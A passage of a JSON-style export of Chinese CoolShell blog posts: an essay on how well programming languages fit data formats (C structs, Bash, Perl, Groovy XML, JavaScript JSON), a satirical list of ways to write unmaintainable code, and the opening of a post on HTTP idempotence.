[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5247.html)[国内微博和Twitter的最大不同](https://coolshell.cn/articles/5247.html)\n* [![微软用新浪来当反面教材](../wp-content/uploads/2011/03/affc-image1-150x150.png)](https://coolshell.cn/articles/3872.html)[微软用新浪来当反面教材](https://coolshell.cn/articles/3872.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![做个环保主义的程序员](../wp-content/uploads/2012/04/Green-Computing-150x150.jpg)](https://coolshell.cn/articles/7186.html)[做个环保主义的程序员](https://coolshell.cn/articles/7186.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\nThe post [新浪微博的XSS攻击](https://coolshell.cn/articles/4914.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-29 语言的数据亲和力.md",
    "content": "---\nlayout: post\ntitle: 语言的数据亲和力\ndate: 2011/6/29/ 0:10:44\nupdated: 2011/6/29/ 0:10:44\nstatus: publish\npublished: true\ntype: post\n---\n\n**[ 感谢 [Todd 同学](http://www.cnblogs.com/weidagang2046/)投递本文 ]**\n\n\n目前，程序设计语言似乎进入了一个蓬勃发展的时期，Javascript、Perl、Python、Ruby、Groovy等一批较新的语言正越来越多地被熟悉和使用，而C++、C#、Java等主流语言也在不断地融入函数式和动态性特征。程序员的百宝箱中可供选择的宝贝是越来多了，而社区中关于语言间的比较和争论也更为热烈，我们常常见到关于“面向过程和面向对象的比较”、“动态语言和静态语言的比较”、“命令式和函数式范式的比较”等比较。我注意到这类讨论的关注点多集中于设计相关话题，如“动态语言的Duck typing多态和静态语言的继承多态的比较”，“Prototype based和Class based的比较”等。但我认为还有一个十分重要的方面值得关注，这就是数据处理。\n\n\n数据处理之所以重要是因为不论是本地信息存储还是系统间信息交换都需要建立在一定的数据格式基础上。另外，不管语言属于那种范式，设计上采用什么模式，在微观层次上程序很大一部分工作都是在做数据处理。所以，从数据处理角度比较和理解语言间的差异有重要的现实意义。虽然数据通常是平台和语言无关的，但不同的语言在处理某种格式的数据时会表现出不同的难度，甚至某些数据格式只能采用特定的语言才能实现，这就是数据亲和力的不同。\n\n\n语言的数据亲和力(Data Affinity)指的是语言的数据模型与某种数据格式之间的匹配程度。语言对某种数据格式亲和力越强，则操作某类数据越容易。\n\n\n \n\n\n#### **二进制字节块格式**\n\n\n \n\n\n \n\n\n在偏底层的操作系统、嵌入式和通信系统中，二进制的字节块是最常见的一种数据格式。二进制数据布局紧凑和接近机器的特点使得它常常作为系统间通信或系统文件的数据格式，但一般高级语言都不方便直接和0101打交道，而是基于记录、结构体和类等结构化表示操作数据，这就存在着在底层的二进制字节块和高层的结构化数据直接的转换问题。\n\n\n  \n\n\n\n\nC语言作为最主要的系统语言具有很高的字节块数据亲和力。这不仅因为C语言具有指针可以直接访问内存以外，还因为C的结构体(struct)可以和字节块建立起直接的映射关系。例如，在基于Socket连接的分布式系统中服务器端和客户端通过二进制的字节数据进行通信，通信双方只要事先定义共用的结构体，发送方先创建相应的结构体变量并填充字段，然后把变量对应的内存块copy到Socket，接收方从Socket读取字节块，然后把字节块强制类型转换为相应的结构体指针即可读取个字段信息。整个过程中通信的双方都没有复杂的信息编码和解码的过程。示例代码如下：\n\n\n\n```\nstruct t_data {\n    int version;\n    char type[10];\n    float value;\n};\n\n//发送方\nstruct t_data data;\ndata.version = 1;\nstrcpy(data.type,  “degree”);\ndata.value = 189.0;\nsend(socket,  &data,  sizeof(data));\n\n//接收方\nstruct t_data data;\nread(socket,  &data,  sizeof(data));\nprintf(“%d, %s, %f”, data.version,  data.type, data.value);\n```\n\n \n\n\n上面的方法在实际应用中还需要注意内存对齐问题和大小端问题。内存对齐问题可以通过编译器预处理命令来进行控制，保证内存中struct结构与传输的字节块具有相同的对齐方式；大小端问题需要通信的双方采用同样的大小端方式，否则就需要进行转换。\n\n\nC++可以完全兼容C的结构体，但C++的类(包括class和struct)中如果定义了虚函数，则会丧失结构的字节块数据亲和力，这是C++编程时需要权衡的一个因素。而除了C/C++，其他语言中则难以见到字节块数据亲和力，其原因在于C/C++允许控制结构体/对象的内存布局，并允许对指针进行非类型安全的强制类型转换，这都是在Java，C#等语言中不允许的。所以，在Java、C#中进行字节块的编码解码就只能按照协议一个字段一个字段地按偏移量和长度进行解析。C/C++的指针以及结构体和内存的直接映射带来了对字节块数据的亲和力，但同时也留下了内存访问和类型安全的隐患；而Java、C#在拥有引用安全和类型安全的同时也失去了对字节块数据的亲和力。\n\n\n \n\n\n \n\n\n#### **文本格式**\n\n\n文本格式是另一种十分常见的数据格式。《Unix编程艺术》中是这样描述文本格式的：”Text streams are a valuable universal format because they’re easy for human beings to read, write, and edit without specialized tools ”。基于文本流的管道处理是一种备受赞誉的Unix风格。Shell可以通过管道把各种功能单一的命令串联起来，让文本流在管道上流动，因而Shell语言具有很好的文本数据亲和力。许多文本数据处理任务Bash都可以一行搞定，这就是Hacker们酷爱的One Liner风格。\n\n\n \n\n\n下面我们来看两个用Bash进行文本处理的例子：\n\n\n1. 统计当前目录下的gz文件数目：\n\n\n`ls –l *.gz | wc –l`\n\n\n \n\n\n2. 在Web服务器日子service.log中统计2011年6月26和27两天中每天中各页面的PV\n\n\n`cat service.log | grep ^2011-06-2[6-7] | cut –d ‘ ‘ –f 1, 3 | sort | uniq –c`\n\n\n \n\n\nservice.log:\n\n\n2011-06-25 13:00:55 /music/c.htm Safari  \n\n…  \n\n2011-06-26 08:01:23 /main.htm IE  \n\n2011-06-26 08:03:01 /sports/b.htm Chrome  \n\n…  \n\n2011-06-27 11:41:06 /main.htm IE  \n\n2011-06-27 11:52:41 /news/a.htm Firefox\n\n\n \n\n\n输出:\n\n\n210 2011-06-26 /main.htm  \n\n231 2011-06-26 /news/a.htm  \n\n155 2011-06-26 /sports/b.htm  \n\n288 2011-06-27 /main.htm  \n\n292 2011-06-27 /news/a.htm  \n\n161 2011-06-27 /sports/b.htm\n\n\n \n\n\n上面的两个简单文本数据处理任务如果是在C或C++下实现则要麻烦得多，代码量至少是十几行或者数十行，加上编译调试，整个开发效率可能比Shell低一个数量级。除了Shell外，Perl也是以强大的文本数据处理而闻名的。我们来看一个Perl正则表达式的例子：\n\n\n\n```\nwhile (<STDIN>) {\n    if (/hello\\s(\\w+)/i)  {\n        print “say hello to $1“\n     }\n     elsif (/goodbye\\s(\\w+)/i)  {\n         print “say goodbye to  $1”\n    }\n}\n```\n\n输入：\n\n\nHeLLo world\n\n\nGoodbye bug\n\n\n输出：\n\n\nsay hello to world\n\n\nsay goodbye to bug\n\n\n上面的例子中我们看到Perl直接进行字符串匹配并进行数据提取的强大威力。Perl基于正则表达式的字符串处理不仅比C/C++等系统语言更强大，甚至比Python这样的动态语言也更强大和更方便，这是因为正则表达式是Perl语言的“一等公民”，这就使得Perl比其他以库的方式支持正则表达式功能的语言具有更好的文本数据亲和力。后来的Ruby也学习Perl把直接在语言上支持正则表达式。\n\n\n \n\n\n#### **结构化文本格式**\n\n\nXML是最近十几年来流行起来的一种通用（半）结构化的文本数据交换格式。XML除具有一般文本格式的优点外，还具有表达复杂的层次信息的优势，所以它至诞生以来就被大量用于配置文件和各种Web Service中。现代程序设计基本都少不了了XML打交道，不过在C++、Java和C#集中静态类型语言中处理XML却并不是一件十分轻松的事情。我们先来看一个Java解析和构建下面这个XML的例子：\n\n\n\n```\n<langs type=\"current\">\n  <language>Java</language>\n  <language>Groovy</language>\n  <language>JavaScript</language>\n</langs>\n```\n\n \n\n\n\n```\n//Java解析XML\nDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\ntry {\n    DocumentBuilder db = dbf.newDocumentBuilder();\n    Document doc = db.parse(\"src/languages.xml\");\n    Element langs = doc.getDocumentElement();\n    System.out.println(\"type = \" + langs.getAttribute(\"type\"));\n    NodeList list = langs.getElementsByTagName(\"language\");\n    for(int i = 0 ; i &lt; list.getLength();i++) {\n        Element language = (Element) list.item(i);\n        System.out.println(language.getTextContent());\n    }\n}catch(Exception e) {\n    e.printStackTrace();\n}\n\n//Java创建XML\nDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\ntry {\n    DocumentBuilder db = dbf.newDocumentBuilder();\n    Document doc = db.newDocument();\n    Element langs = doc.createElement(\"langs\");\n    langs.setAttribute(\"type\", \"current\");\n    doc.appendChild(langs);\n\n    Element language1 = doc.createElement(\"language\");\n    Text text1 = doc.createTextNode(\"Java\");\n    language1.appendChild(text1);\n    langs.appendChild(language1);\n\n    Element language2 = doc.createElement(\"language\");\n    Text text2 = doc.createTextNode(\"Groovy\");\n    language2.appendChild(text2);\n    langs.appendChild(language2);\n    Element language3 = doc.createElement(\"language\");\n    Text text3 = doc.createTextNode(\"JavaScript\");\n    language3.appendChild(text3);\n    langs.appendChild(language3);\n} catch (Exception e) {\n    e.printStackTrace();\n}\n```\n\n  \n\n 为了解析和创建小小的一段XML代码需要编写如此冗长的Java代码，而实现同样的功能动态语言Groovy则十分简洁：\n\n\n\n```\n//Groovy解析XML\ndef langs = new XmlParser().parse(\"languages.xml\")\nprintln \"type = ${langs.attribute(\"type\")}\"\nlangs.language.each{\n    println it.text()\n}\n//Groovy创建XML\ndef xml = new groovy.xml.MarkupBuilder()\nxml.langs(type:\"current\"){\n   language(\"Java\")\n   language(\"Groovy\")\n   language(\"JavaScript\")\n}\n```\n\n \n\n\n上面Groovy操作XML的代码简洁而富有表达力，代码与XML几乎是一一对应的，如同直接在XML上进行操作的DSL一样，而相应的Java代码则看不到XML的影子。这说明Groovy具有很高的XML数据的亲和力。为什么Java和Groovy在XML亲和力方面有这样的差异呢？原因在于Java要求所有的方法和属性都必须先定义再调用，严格的静态类型检查使得Java只能把XML元素作为“二等公民”来表达；而Groovy则没有静态类型检查的限制，可以自由地使用方法和属性来表达XML结构。上面用Groovy创建XML的例子中，groovy.xml.MarkupBuilder类中实际上并没有langs, language这些方法，但会在调用的时候自动创建相应的XML结构。\n\n\n \n\n\n除了XML外，JSON是另一种通用的半结构化的纯文本数据交换格式，它常被视为轻量级的XML。JSON的本意是Javascript的对象表示(Javascript Object Notation)，它属于Javascript的语法子集，所以Javascript对JSON有原生的支持。下面就是一个在Javascript中创建JSON对象的例子：\n\n\n[javascript]var json = { “langs” :  \n\n {  \n\n \"type” : \"current”,  \n\n \"language” : [\"Java”, \"Groovy”, \"Javascript”]  \n\n }  \n\n}[/javascript]\n\n\n许多Javascript程序都会通过AJAX都从服务器获取JSON字符串，然后把字符串解析为JSON对象。由于Javascript对JSON的原生支持，所以，在Javascript中解析JSON字符串可以采用通用的eval方式，如：\n\n\n[javascript]var json = eval(“(\" + jsonStr + “)\");\n\n\nalert(json.langs.type);[/javascript]\n\n\n甚至可以：\n\n\n[javascript]eval(“var json = ” + jsonStr);\n\n\nalert(json.langs.type);[/javascript]\n\n\n \n\n\n不过eval的通用性带来了一定的安全隐患，所以一般只建议对受信任的数据源采用eval方式解析JSON，对于不受信任的数据源可以采用专门的JSON解析库。无论如何Javascript对JSON的原生支持都使得Javascript创建和解析JSON数据十分的简单，也就是说Javascript具有很高的JSON数据亲和力。另外，Groovy 1.8也加入了对JSON的原生支持，操作JSON与Javascript一样方便。\n\n\n#### **总结**\n\n\n到这里为止本文篇幅已经很长了，只能列举二进制字节块格式、文本格式和结构化文本格式3种典型的数据格式。实际上，数据亲和力的话题还有很多值得探讨的，比如C#的Linq。本文的探讨算是抛砖引玉，目的在于引起大家注意在比较语言的时候不要忽略了数据亲和力这样一个重要方面。本文的错误或不足，敬请指正，谢谢！\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![C++的坑真的多吗？](../wp-content/uploads/2012/08/cpp_small-150x150.jpg)](https://coolshell.cn/articles/7992.html)[C++的坑真的多吗？](https://coolshell.cn/articles/7992.html)\n* [![那些曾伴我走过编程之路的软件](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png)](https://coolshell.cn/articles/5576.html)[那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\nThe post [语言的数据亲和力](https://coolshell.cn/articles/4905.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-3 如何写出无法维护的代码.md",
    "content": "---\nlayout: post\ntitle: 如何写出无法维护的代码\ndate: 2011/6/3/ 0:52:42\nupdated: 2011/6/3/ 0:52:42\nstatus: publish\npublished: true\ntype: post\n---\n\n酷壳里有很多我觉得很不错的文章，但是访问量最大的却是那篇《[6个变态的Hello World](https://coolshell.cn/articles/914.html \"6个变态的C语言Hello World程序\")》，和它能在本站右边栏“**全站热门**”中出现的还有“[如何加密源代码](https://coolshell.cn/articles/933.html \"如何加密/混乱C源代码\")”，以及[编程真难啊](https://coolshell.cn/articles/1391.html \"编程真难啊\")等这样的文章。可见本站的读者们的偏好，我也相信你们都是“身怀绝技”的程序员。所以，今天给大家推荐这篇文章，相信一定能触动大家的兴奋点。\n\n\n这篇文章的原文在这里（<http://mindprod.com/jgloss/unmain.html>），我看完后我想说——\n\n\n1. **什么叫“创造力”，创造力就是——就算是要干一件烂事都能干得那么漂亮那么有创意的能力。**\n2. **什么叫“抓狂”，抓狂就是——以一种沉着老练的不屈不挠的一本正经的精神一点一点把你推向崩溃的边缘**。\n\n\n我把文章节选了一些，也并没有完全翻译，简译一下，也加入了一些自己的调侃。对于有下面这些编程习惯的朋友，请大家对号入座。另外，维护程序的朋友们，你们死定了！！\n\n\n\n> http://mindprod.com/image/icon64/woodpecker.pngIf builders built buildings the way programmers write programs, then the first woodpecker that came along would destroy civilization. （如果建筑师盖房子就像程序员写程序一样，那么，第一只到来的啄木鸟就能毁掉我们的文明）\n> \n> \n> ~ Gerald Weinberg (born: 1933-10-27 age: 77) [Weinberg’s Second Law](http://www.geraldmweinberg.com/Site/Home.html)\n> \n> \n\n\n#### 程序命名\n\n\n* **容易输入的名字**。比如：Fred，asdf\n* **单字母的变量名**。比如：a,b,c, x,y,z（陈皓注：如果不够用，可以考虑a1,a2,a3,a4,….）\n* **有创意地拼写错误**。比如：SetPintleOpening， SetPintalClosing。这样可以让人很难搜索代码。\n* **抽象**。比如：ProcessData, DoIt, GetData… 抽象到就跟什么都没说一样。\n* **缩写**。比如：WTF，RTFSC …… （陈皓注：使用拼音缩写也同样给力，比如： BT，TMD，TJJTDS）\n* **随机大写字母**。比如：gEtnuMbER..\n* **重用命名**。在内嵌的语句块中使用相同的变量名有奇效。\n* **使用重音字母**。比如：int  ínt（注：第二个 ínt不是int）\n* **使用下划线**。比如：\\_, \\_\\_, \\_\\_\\_。\n* **使用不同的语言**。比如混用英语，德语，或是中文拼音。\n* **使用字符命名**。比如：slash, asterix, comma…\n* **使用无关的单词**。比如：god, superman, iloveu….\n* **混淆l和1**。字母l和数字1有时候是看不出来的。\n\n\n#### 伪装欺诈\n\n\n* **把注释和代码交织在一起**。\n\n\n\n```\nfor(j=0; j<array_len; j+ =8)\n{\n    total += array[j+0 ];\n    total += array[j+1 ];\n    total += array[j+2 ]; /* Main body of\n    total += array[j+3]; * loop is unrolled\n    total += array[j+4]; * for greater speed.\n    total += array[j+5]; */\n    total += array[j+6 ];\n    total += array[j+7 ];\n}\n```\n\n* **隐藏宏定义**。如：#define a=b a=0-b，当人们看到a=b时，谁也想不到那是一个宏。\n\n\n* **换行**。如下所示，下面的示例使用搜索xy\\_z变得困难。\n\n\n\n```\n#define local_var xy\\\n_z // local_var OK\n```\n\n* **代码和显示不一致**。比如，你的界面显示叫postal code，但是代码里确叫 zipcode.\n\n\n* **隐藏全局变量**。把使用全局变量以函数参数的方式传递给函数，这样可以让人觉得那个变量不是全局变量。\n\n\n* **使用同意词**。如：\n\n\n\n```\n#define xxx global_var // in file std.h&nbsp;\n#define xy_z xxx // in file ..\\other\\substd.h&nbsp;\n#define local_var xy_z // in file ..\\codestd\\inst.h\n```\n\n* **使用相似的变量名**。如：单词相似，swimmer 和 swimner，字母相似：ilI1| 或 oO08。parselnt 和 parseInt， D0Calc 和 DOCalc。还有这一组：xy\\_Z, xy\\_\\_z, \\_xy\\_z, \\_xyz, XY\\_Z, xY\\_z, Xy\\_z。\n\n\n* **重载函数**。使用相同的函数名，但是其功能和具体实现完全没有关系。\n\n\n* **操作符重载**。重载操作符可以让你的代码变得诡异，感谢CCTV，感谢C++。这个东西是可以把混乱代码提高到一种艺术的形式。比如：重载一个类的 ! 操作符，但实际功能并不是取反，让其返回一个整数。于是，如果你使用 ! ! 操作符，那么，有意思的事就发生了—— 先是调用类的重载 ! 操作符，然后把其返回的整数给 ! 成了 布尔变量，如果是 !!! 呢？呵呵。\n\n\n* **#define**。看过本站那些混乱代码的文章，你都会知道宏定义和预编译对于写出不可读的代码的重大意义。不过，一个具有想像力的东西是——在头文件中使用预编译来查看这个头文件被include了几次，而被include不同的次数时，其中的函数定义完全不一样。\n\n\n\n```\n#ifndef DONE\n#ifdef TWICE\n// put stuff here to declare 3rd time around\nvoid g(char* str);\n#define DONE\n#else // TWICE\n#ifdef ONCE\n// put stuff here to declare 2nd time around<\nvoid g(void* str);\n#define TWICE\n#else // ONCE\n// put stuff here to declare 1st time around\nvoid g(std::string str);\n#define ONCE\n#endif // ONCE\n#endif // TWICE\n#endif // DONE\n```\n\n#### 文档和注释\n\n\n* **在注释中撒谎**。你不用真的去撒谎，只需在改代码的时候不要更新注释就可以了。\n* **注释明显的东西**。比如：/\\* add 1 to i \\*/。（参看本站的“[五种应该避免的注释](https://coolshell.cn/articles/2746.html \"五种应该避免的代码注释\")”）\n* **只注释是什么，而不是为什么**。\n* **不要注释秘密**。如果你开发一个航班系统，请你一定要保证每有一个新的航班被加入，就得要修改25个以上的位置的程序。千万别把这个事写在文档中。\n* **注重细节**。当你设计一个很复杂的算法的时候，你一定要把所有的详细细设计都写下来，没有100页不能罢休，段落要有5级以上，段落编号要有500个以上，例如：1.2.4.6.3.13 – Display all impacts for activity where selected mitigations can apply (short pseudocode omitted). 这样，当你写代码的时候，你就可以让你的代码和文档一致，如：Act1\\_2\\_4\\_6\\_3\\_13()\n* **千万不要注释度衡单位**。比如时间用的是秒还是毫秒，尺寸用的是像素还是英寸，大小是MB还是KB。等等。另外，在你的代码里，你可以混用不同的度衡单位，但也不要注释。\n* **Gotchas**。陷阱，千万不要注释代码中的陷阱。\n* **在注释和文档中发泄不满**。（参看本站的“[五种应该避免的注释](https://coolshell.cn/articles/2746.html \"五种应该避免的代码注释\")”）\n\n\n#### 程序设计\n\n\n* **Java Casts**。Java的类型转型是天赐之物。每一次当你从Collection里取到一个object的时候，你都需要把其转回原来的类型。因些，这些转型操作会出现在N多的地方。如果你改变了类型，那么你不一定能改变所有的地方。而编译器可能能检查到，也可能检查不到。\n* **利用Java的冗余**。比如：Bubblegum b = new Bubblegom(); 和 swimmer = swimner + 1; 注意变量间的细微差别。\n* **从不验证**。从不验证输入的数据，从不验证函数的返回值。这样做可以向大家展示你是多么的信任公司的设备和其它程序员。\n* **不要封装**。调用者需要知道被调用的所有的细节。\n* **克隆和拷贝**。为了效率，你要学会使用copy + paste。你几乎都不用理解别人的代码，你就可以高效地编程了。（陈皓注：Copy + Paste出来的代码bug多得不能再多）\n* **巨大的listener**。写一个listener，然后让你的所有的button类都使用这个listener，这样你可以在这个listener中整出一大堆if…else…语句，相当的刺激。\n* **使用三维数组**。如果你觉得三维还不足够，你可以试试四维。\n* **混用**。同时使用类的get/set方法和直接访问那个public变量。这样做的好处是可以极大的挫败维护人员。\n* **包装，包装，包装**。把你所有的API都包装上6到8遍，包装深度多达4层以上。然后包装出相似的功能。\n* **没有秘密**。把所有的成员都声明成public的。这样，你以后就很难限制其被人使用，而且这样可以和别的代码造成更多的耦合度，可以让你的代码存活得更久。\n* **排列和阻碍**。把drawRectangle(height, width) 改成 drawRectangle(width, height)，等release了几个版本后，再把其改回去。这样维护程序的程序员们将不能很快地明白哪一个是对的。\n* **把变量改在名字上**。例如，把setAlignment(int alignment)改成，setLeftAlignment, setRightAlignment, setCenterAlignment。\n* **Packratting**。保留你所有的没有使用的和陈旧的变量，方法和代码。\n* **That’s Fina**l。Final你所有的子结点的类，这样，当你做完这个项目后，没有人可以通过继承来扩展你的类。java.lang.String不也是这样吗？\n* **避免使用接口**。在java中，BS接口，在C++中BS使用虚函数。\n* **避免使用layout**。这样就使得我们只能使用绝对坐标。如果你的老大强制你使用layout，你可以考虑使用GridBagLayout，然后把grid坐标hard code.\n* **环境变量**。如果你的代码需要使用环境变量。(getenv() – C++ / System.getProperty() – Java )，那么，你应该把你的类的成员的初始化使用环境变量，而不是构造函数。\n* **使用Magic numbe**r。参看《[Linux一个插曲](https://coolshell.cn/articles/4576.html \"Linux 2.6.39-rc3的一个插曲\")》。\n* **使用全局变量**。1）把全局变量的初始化放在不同的函数中，就算这个函数和这个变量没有任何关系，这样能够让我们的维护人员就像做侦探工作一样。2）使用全局变量可以让你的函数的参数变得少一些。\n* **配置文件**。配置文件主要用于一些参数的初始化。在编程中，我们可以让配置文件中的参数名和实际程序中的名字不一样。\n* **膨胀你的类**。让你的类尽可能地拥有各种臃肿和晦涩的方法。比如，你的类只实现一种可能性，但是你要提供所有可能性的方法。不要定义其它的类，把所有的功能都放在一个类中。\n* **使用子类**。面向对象是写出无法维护代码的天赐之物。如果你有一个类有十个成为（变量和方法）你可以考虑写10个层次的继承，然后把这十个属性分别放在这十个层次中。如果可能的话，把这十个类分别放在十个不同的文件中。\n\n\n#### 混乱你的代码\n\n\n* **使用XML**。XML的强大是无人能及的。使用XML你可以把本来只要10行的代码变成100行。而且，还要逼着别人也有XML。（参看，[信XML得永生](https://coolshell.cn/articles/2504.html \"信XML，得永生！\")，[信XML得自信](https://coolshell.cn/articles/3498.html \"信XML，得自信\")）\n* **混乱C代码**。在《[如何加密源代码](https://coolshell.cn/articles/933.html \"如何加密/混乱C源代码\")》中已经说过一些方法了，这里再补充一些。\n* **使用不同的进制**。比如：10 和010不是一样的。再比如：array = new int[]{   111,   120,   013,   121,};\n* **尽量使用void\\***。然后把其转成各种类型\n* **使用隐式的转型**。C++的构造函数可以让你神不知鬼不觉得完成转型。\n* **分解条件表达式**。如：把 a==100分解成，a>99 && a<101\n* **学会利用分号**。如：if ( a );else;{   int d;   d = c;}\n* **间接转型**。如：把double转string，写成new Double(d).toString() 而不是 Double.toString(d)\n* **大量使用嵌套**。一个NB的程序员可以在一行代码上使用超过10层的小括号（），或是在一个函数里使用超过20层的语句嵌套{}，把嵌套的if else 转成 [? :] 也是一件很NB的事。\n* **使用C的变种数组**。myArray[i] 可以变成\\*(myArray + i) 也可以变成 \\*(i + myArray) 其等价于 i[myArray]。再看一个函数调用的示例，函数声明：int myfunc(int q, int p) { return p%q; } 函数调用myfunc(6291, 8)[Array];\n* **长代码行**。一行的代码越长越好。这样别人阅读时就需要来来回回的\n* **不要较早的return**。不要使用goto，不要使用break，这样，你就需要至少5层以上的if-else来处理错误。\n* **不要使用{}**。不要在if else使用{}，尤其是在你重量地使用if-else嵌套时，你甚至可以在其中乱缩进代码，这样一来，就算是最有经验的程序员也会踩上陷阱。\n* **使用宏定义**。宏定义绝对是混乱C/C++代码的最佳利器。参看 [老手是这样教新手编程的](https://coolshell.cn/articles/2420.html \"老手是这样教新手编程的\")。\n* **琐碎的封装**。比较封装一个bool类，类里面什么都做，就是一个bool.\n* **循环**。千万不可用for(int i=0; i<n; i++)使用while代替for，交换n和i，把<改成<=，使用 i–调整步伐 。\n\n\n#### 测试\n\n\n* **从不测试**。千万不要测试任何的出错处理，从来也不检测系统调用的返回值。\n* **永远不做性能测试**。如果不够快就告诉用户换一个更快的机器。如果你一做测试，那么就可能会要改你的算法，甚至重设计，重新架构。\n* **不要写测试案例**。不要做什么代码覆盖率测试，自动化测试。\n* **测试是懦夫行为**。一个勇敢的程序员是根本不需要这一步的。太多的程序太害怕他们的老板，害怕失去工作，害怕用户抱怨，甚至被起诉。这种担心害怕直接影响了生产力。如果你对你的代码有强大的信心，那还要什么测试呢？真正的程序员是不需要测试自己的代码的。\n\n\n#### 其它\n\n\n* **你的老板什么都知道**。无论你的老板有多SB，你都要严格地遵照他的旨意办事，这样一来，你会学到更多的知识如何写出无法维护的代码来的。\n* **颠覆Help Desk**。你要确保你那满是bug的程序永远不要被维护团队知道。当用户打电话和写邮件给你的时候，你就不要理会，就算要理会，让用户重做系统或是告诉用户其帐号有问题，是标准的回答。\n* **闭嘴**。对于一些像y2k这样的大bug，你要学会守口如瓶，不要告诉任何人，包括你的亲人好友以及公司的同事和管理层，这样当到那一天的时候，你就可以用这个bug挣钱了。\n* **忽悠**。你会学会忽悠，就算你的代码写得很烂，你也要为其挂上GoF设计模式的标签，就算你的项目做得再烂，你也要为其挂上敏捷的标签，只有学会[像中国Thoughtworks的咨询师那样去忽悠](https://coolshell.cn/articles/3745.html \"再谈敏捷和ThoughtWorks中国咨询师\")，你才能学会更炫更酷的方法，让整个团队和公司，甚至整个业界都开始躁动，这样才能真正为难维护的代码铺平道路。\n\n\n这个文档中还有很多很多，实在是太TMD强大了，大家自己去看看吧。有精力有能力的朋友不妨把其翻译成中文。\n\n\n总之，我们的口号是——\n\n\n#### Write Everywhere, Read Nowhere\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\nThe post [如何写出无法维护的代码](https://coolshell.cn/articles/4758.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-7 HTTP幂等性概念和应用.md",
    "content": "---\nlayout: post\ntitle: HTTP幂等性概念和应用\ndate: 2011/6/7/ 0:49:1\nupdated: 2011/6/7/ 0:49:1\nstatus: publish\npublished: true\ntype: post\n---\n\n**[ 感谢 [Todd 同学](http://www.cnblogs.com/weidagang2046/)投递本文 ]**\n\n\n基于HTTP协议的Web API是时下最为流行的一种分布式服务提供方式。无论是在大型互联网应用还是企业级架构中，我们都见到了越来越多的SOA或RESTful的Web API。为什么Web API如此流行呢？我认为很大程度上应归功于简单有效的HTTP协议。HTTP协议是一种分布式的面向资源的网络应用层协议，无论是服务器端提供Web服务，还是客户端消费Web服务都非常简单。再加上浏览器、Javascript、AJAX、JSON以及HTML5等技术和工具的发展，互联网应用架构设计表现出了从传统的PHP、JSP、ASP.NET等服务器端动态网页向Web API + RIA（富互联网应用）过渡的趋势。Web API专注于提供业务服务，RIA专注于用户界面和交互设计，从此两个领域的分工更加明晰。在这种趋势下，Web API设计将成为服务器端程序员的必修课。然而，正如简单的Java语言并不意味着高质量的Java程序，简单的HTTP协议也不意味着高质量的Web API。要想设计出高质量的Web API，还需要深入理解分布式系统及HTTP协议的特性。\n\n\n\n\n**幂等性定义**\n\n\n本文所要探讨的正是HTTP协议涉及到的一种重要性质：幂等性(Idempotence)。在HTTP/1.1规范中幂等性的定义是：\n\n\n\n> *Methods can also have the property of “idempotence” in that (aside from error or expiration issues) the side-effects of N > 0 identical requests is the same as for a single request.*\n> \n> 